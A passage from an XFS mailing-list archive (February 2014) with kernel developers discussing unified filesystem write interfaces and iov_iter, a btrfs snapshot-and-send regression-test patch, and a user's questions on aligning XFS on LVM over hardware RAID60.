Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7085AC003 for ; Mon, 3 Feb 2014 07:12:49 -0800 (PST) X-ASG-Debug-ID: 1391440368-04cbb00c2ab8f40001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id Z99DfUaAIJtafFyG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 07:12:48 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WALCU-0002vU-2m; Mon, 03 Feb 2014 15:12:42 +0000 Date: Mon, 3 Feb 2014 07:12:42 -0800 From: Christoph Hellwig To: Al Viro Cc: Linus Torvalds , Jens Axboe , Steve French , Sage Weil , Dave Kleikamp , Mark Fasheh , xfs@oss.sgi.com, Christoph Hellwig , Joel Becker , linux-fsdevel , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140203151242.GA6868@infradead.org> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140201224301.GS10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391440368 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 01, 2014 at 10:43:01PM +0000, Al Viro wrote: > * WTF bother passing 'pos' separately? It's the same mistake that was > made with ->aio_read/->aio_write and just as with those, *all* callers > provably have pos == iocb->ki_pos. I think this landed with the initial aio support, which planned for allowing AIO retries for a workqueue with a partially incremented pos. None of this ever got merged, probably because it was too ugly to live. > * We *definitely* want a variant structure with tag - unsigned long thing > was just plain insane. I see at least two variants - array of iovecs > and array of (at least) triples . Quite possibly - > quadruples, with "here's how to try to steal this page" thrown in, if > we want that as replacement for ->splice_write() as well (it looks like > the few instances that do steal on pipe-to-file splices could be dealt > with the same way as the dumb ones, provided that ->write_iter or whatever > we end up calling it is allowed to try and steal pages). Possibly more > variants on the read side of things... FWIW, I'm not sure that bio_vec > makes a lot of sense here. bio_vec just is one of the many page+offset+len containers we have, I guess Dave took it because loop uses it. We could either invent a new one here or finally have a common one for the different uses all over the kernel. From wangshilong1991@gmail.com Mon Feb 3 09:22:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 70DB07F75 for ; Mon, 3 Feb 2014 09:22:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 63BCC8F8033 for ; Mon, 3 Feb 2014 07:22:51 -0800 (PST) X-ASG-Debug-ID: 1391440969-04cb6c6de2be950001-NocioJ Received: from mail-pa0-f51.google.com (mail-pa0-f51.google.com [209.85.220.51]) by cuda.sgi.com with ESMTP id F4RQ7u7WL0HWwduP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 03 Feb 2014 07:22:50 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.51 Received: by mail-pa0-f51.google.com with SMTP id ld10so7206927pab.38 for ; Mon, 03 Feb 2014 07:22:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=TOsQYvzDuxXAynPh7Do+jk9cI/aGSOVqe5GDnG77xLc=; b=hr4OgVdML0p3xWpZyki14ACqyfdPsSHiOzQUUkjgajGcFFITtV0/9h3G9kaSnpAl7U h358taspgnUguixCAZXxQkfRpm/2qeIyGW6qsuPGR3Rt4gs0odr+jGkMLbtMOJcqPc6v 2cNMJhtzjbFjs1pxZ5lyoqbWlBGmHSef1GCmoVvEmjN5UBy5HFYrfiR2TLKrUHjahU4N Jw56v+tB811dm1tjORK6WnPzOvAzMpwZPoll+IHdaoJybbpmKB2Ih/eeVVM3mI8hCRME 8reyUjVzH0wzl5xwyR99K+Q3jLVmk7RbkzKZzbAPS/GAIR+MpD/Pw1i4F3yUkquqR9aN fo5Q== X-Barracuda-BBL-IP: nil X-Received: by 10.68.231.35 with SMTP id td3mr37511991pbc.137.1391440969545; Mon, 03 Feb 2014 07:22:49 -0800 (PST) Received: from linux-b0ol.localdomain ([36.59.229.139]) by mx.google.com with ESMTPSA id nw11sm147292768pab.13.2014.02.03.07.22.43 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 03 Feb 2014 07:22:48 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 36.59.229.139 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com Subject: [PATCH] Btrfs: add regression test for running snapshot and send concurrently Date: Mon, 3 Feb 2014 23:22:36 +0800 X-ASG-Orig-Subj: [PATCH] Btrfs: add regression test for running snapshot and send concurrently Message-Id: <1391440956-31924-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pa0-f51.google.com[209.85.220.51] X-Barracuda-Start-Time: 1391440970 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong Btrfs would fail to send if snapshot run concurrently, this test is to make sure we have fixed the bug. Signed-off-by: Wang Shilong --- tests/btrfs/034 | 75 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 78 insertions(+) create mode 100644 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100644 index 0000000..e27e3cf --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,75 @@ +#!/bin/bash +# FS QA Test No. btrfs/034 +# +# Regression test for running snapshots and send concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +$BTRFS_UTIL_PROG send -f $SCRATCH_MNT/send_file \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 & + +pid=$! + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ + $SCRATCH_MNT/snap_2 >> $seqres.full 2>&1 + +wait $pid || echo "Failed to send, see dmesg" + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..4c8873c --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,2 @@ +QA output created by 034 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.8.4 From viro@ftp.linux.org.uk Mon Feb 3 09:33:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BCDCF7F4E for ; Mon, 3 Feb 2014 09:33:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6D44304077 for ; Mon, 3 Feb 2014 07:33:41 -0800 (PST) X-ASG-Debug-ID: 1391441619-04cbb00c28ba690001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id QvnVEm6W1krG7Oeo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 07:33:40 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WALWV-00055G-B1; Mon, 03 Feb 2014 15:33:23 +0000 Date: Mon, 3 Feb 2014 15:33:23 +0000 From: Al Viro To: Miklos Szeredi Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140203153323.GW10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <20140202192104.GA21959@ZenIV.linux.org.uk> <20140203144155.GO24171@tucsk.piliscsaba.szeredi.hu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140203144155.GO24171@tucsk.piliscsaba.szeredi.hu> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391441619 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 03:41:55PM +0100, Miklos Szeredi wrote: > > BTW, is there any reason why fuse/dev.c doesn't use atomic kmaps for > > everything? After all, as soon as we'd done kmap() in there, we > > grab a spinlock and don't drop it until just before kunmap(). With > > nothing by memcpy() done in between... Miklos? AFAICS, we only win > > from switching to kmap_atomic there - we can't block anyway, we don't > > need it to be visible on other CPUs and nesting isn't a problem. > > Looks like it'll be cheaper in highmem cases and do exactly the same > > thing as now for non-highmem... Comments? > > We don't hold the spinlock. But regardless, I don't see any reason why it > couldn't be atomic kmap. Oh, right - lock_request() drops it. Still, I don't see anything other than copying between map and unmap, and not a lot of it either... As for get_user_pages_fast()... Why not do what mm/filemap.c does to deal with the same issue? Prefault, then lock the destination page, kmap_atomic() and do __copy_from_user_inatomic(). If that fails (i.e. if something has raced with us and evicted the source from page table), shrug, unlock and repeat. I do realize that you want to share code between the read and write sides of the whole thing, but I'm not sure it's worth doing. Almost everything in that pile knows the direction - splitting a few low-level functions into ..._in() and ..._out() variants (mostly along the checks already in them) allows to separate these paths completely, at which point it becomes possible to use copy-page-to-iov_iter, etc. to take care of mapping, dealing with iovec components, etc. What I want to do is to get a sane set of iov_iter primitives that could be used for everything, without their users having to care about the nature of iov_iter - iovec, array of quadruples, biovec, etc. The interesting part of it is how to make that set expressive enough, while keeping it reasonably sane. And fs/fuse/dev.c is one of the more interesting potential users out there... I've a growing queue with the beginning of that stuff; so far it's mostly preparatory bits and pieces. Currently being tested: copy_page_to_iter() (more or less similar to iov_iter_copy_to_..., but with saner interface and dealing with the kmap, atomics, etc. without forcing the callers do do that) with conversion of generic_file_aio_read() and friends to it. If it survives the local beating, I'll start pushing it out (as vfs.git#iov_iter); that pile is getting to potentially interesting bits... From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 09:43:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 27DD37FF0 for ; Mon, 3 Feb 2014 09:43:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E8D68F8035 for ; Mon, 3 Feb 2014 07:43:33 -0800 (PST) X-ASG-Debug-ID: 1391442212-04cbb00c28bab70001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id cyWSDz6AXgcQMSFw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 07:43:33 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WALgK-0003QA-Gf; Mon, 03 Feb 2014 15:43:32 +0000 Date: Mon, 3 Feb 2014 07:43:32 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] metadump: walk single fsb objects a block at a time Message-ID: <20140203154332.GA12938@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 4/5] metadump: walk single fsb objects a block at a time References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391442213 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Looks good, Reviewed-by: Christoph Hellwig From chamill@wesleyan.edu Mon Feb 3 10:07:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 78F017F54 for ; Mon, 3 Feb 2014 10:07:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0B64DAC002 for ; Mon, 3 Feb 2014 08:07:42 -0800 (PST) X-ASG-Debug-ID: 1391443658-04bdf01220cf0c0001-NocioJ Received: from internal-smtp3.wesleyan.edu (internal-smtp3.wesleyan.edu [129.133.6.182]) by cuda.sgi.com with ESMTP id 6ebFGHKvsQ67dDEJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 08:07:39 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.182 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s13G7ZTU000634 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Mon, 3 Feb 2014 11:07:35 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391443655; bh=yOcqWYzJEvgq4/Dwd26KIAXee50B/supRZ6Kqg0C0sQ=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=YjtYmj1BYBaWS9SWP9AwN/L8jq0YUCdS47gI+c78Npc4c8qsTPNfHzgJpTTSFsz+/ 0j2pp9/g0+QI6YdThiptpA3WITV5jFK+oJYRgCxoQmspXhfTakYkU7G/Ms2e8m3VZo Z33O9ZRT1MyqtXKaKTHIdevcHj4LgomwDyn8BpC0= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" To: stan Cc: xfs In-reply-to: <52ED61C9.8060504@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Mon, 03 Feb 2014 11:07:34 -0500 Message-Id: <1391442947-sup-8195@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s13G7ZTU000634 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp3.wesleyan.edu[129.133.6.182] X-Barracuda-Start-Time: 1391443659 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Excerpts from Stan Hoeppner's message of 2014-02-01 16:06:17 -0500: > Yes, that's one of the beauties of LVM. However, there are other > reasons you may not want to do this. For example, if you have allocated > space from two different JBOD or SAN units to a single LVM volume, and > you lack multipath connections, if you have a cable, switch, HBA, or > other failure disconnecting one LUN that will wreak havoc on your > mounted XFS filesystem. If you have multipath and the storage device > disappears due to some other failure such as backplane, UPS, etc, you > have the same problem. Very true; I gather this would only take out any volumes which at least partially rest on the failed device, however? As in, I don't lose the whole volume group, correct? > This isn't a deal breaker. There are many large XFS filesystems in > production that span multiple storage arrays. You just need to be > mindful of your architecture at all times, and it needs to be > documented. Scenario: XFS unmounts due to an IO error. You're not yet > aware an entire chassis is offline. You can't remount the filesystem so > you start a destructive xfs_repair thinking that will fix the problem. > Doing so will wreck your filesystem and you'll likely lose access to all > the files on the offline chassis, with no ability to get it back short > of some magic and a full restore from tape or D2D backup server. We had > a case similar to this reported a couple of years ago. Oh God, that sounds terrible. My sysadmininess is wondering why the chassis wasn't monitored, but hindsight, etc. etc. ;-) > If the logical sector size reported by your RAID controller is 512 > bytes, then "--dataalignment=9216s" should start your data section on a > RAID60 stripe boundary after the metadata section. I see that 9216s == 2608k/512b, but I'm missing something: is the default metadata size guaranteed to be less than a single stripe, or is there more to it? Oh, wait, I think I just got it: '--dataalignment' will take care to start on some multiple of 9216 sectors, regardless of the size of the metadata section. Doy. > The PhysicalExtentSize should probably also match the 4608KB stripe > width, but this is apparently not possible. PhysicalExtentSize must be > a power of 2 value. I don't know if or how this will affect XFS aligned > write out. You'll need to consult with someone more knowledgeable of LVM. Makes sense. If it would have an impact, then I'd probably just end up going with RAID 0 on top of 2 or 4 RAID 6 groups, which looks like the math would work out there. > You bet. Honestly, this is the most helpful and straightforward I've ever found any project's mailing list, so kudos++. -- Morgan Hamill From chamill@wesleyan.edu Mon Feb 3 10:12:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 702447FD6 for ; Mon, 3 Feb 2014 10:12:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B22430406A for ; Mon, 3 Feb 2014 08:12:44 -0800 (PST) X-ASG-Debug-ID: 1391443961-04cb6c6de1c0640001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id EodGAgKc3BMyFFTo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 08:12:42 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s13GCdCI020616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Mon, 3 Feb 2014 11:12:39 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391443959; bh=Lp6L9HatAKVmeDKFGRw321F5Yinb56aMK+84+3EKcpc=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=jK6Lz3hmh1TL2TjPFKjbP/1ptjXeH4PtXv+cvgU05YDPHRfxlD+ldQ3rtIMtOlIv1 dCK4EALUO8dDYsxuGjPPluluL8WeaORZit42B5jU8WRKLUYlr4uBTxyuGNgbMupAIr BPsjhWI6oXSWTWCAwphZmQiCgnES4PtUz3R/8xYw= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" To: Dave Chinner Cc: Stan Hoeppner , xfs In-reply-to: <20140202212152.GP2212@dastard> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Mon, 03 Feb 2014 11:12:39 -0500 Message-Id: <1391443675-sup-1730@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s13GCdCI020616 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1391443962 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144788 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Excerpts from Dave Chinner's message of 2014-02-02 16:21:52 -0500: > On Sat, Feb 01, 2014 at 03:06:17PM -0600, Stan Hoeppner wrote: > > On 1/31/2014 3:14 PM, C. Morgan Hamill wrote: > > > So, basically, --dataalignment is my friend during pvcreate and > > > lvcreate. > > > > If the logical sector size reported by your RAID controller is 512 > > bytes, then "--dataalignment=9216s" should start your data section on a > > RAID60 stripe boundary after the metadata section. > > > > Tthe PhysicalExtentSize should probably also match the 4608KB stripe > > width, but this is apparently not possible. PhysicalExtentSize must be > > a power of 2 value. I don't know if or how this will affect XFS aligned > > write out. You'll need to consult with someone more knowledgeable of LVM. > > You can't do single IOs of that size, anyway, so this is where the > BBWC on the raid controller does it's magic and caches sequntial IOs > until it has full stripe writes cached.... So I am probably missing something here, could you clarify? Are you saying that I can't do single IOs of that size (by which I take your meaning to be IOs as small as 9216 sectors) because my RAID controllers controller won't let me (i.e., it will cache anything smaller than the stripe size anyway)? Or are you saying that XFS with these given settings won't make writes that small (which seems false, since I'm essentially telling it to do writes of precisely that size). I'm a bit unclear on that. In addition, does this in effect mean that when it comes to LVM, extent size makes no difference for alignment purposes? So I don't have to worry about anything other that aligning the beginning and ending of logical volumes, volume groups, etc. to 9216 sector multiples? Thanks again! -- Morgan Hamill From dave.kleikamp@oracle.com Mon Feb 3 10:24:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 20CAB7FD7 for ; Mon, 3 Feb 2014 10:24:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1463F8F8040 for ; Mon, 3 Feb 2014 08:24:17 -0800 (PST) X-ASG-Debug-ID: 1391444654-04cbb00c29bc2d0001-NocioJ 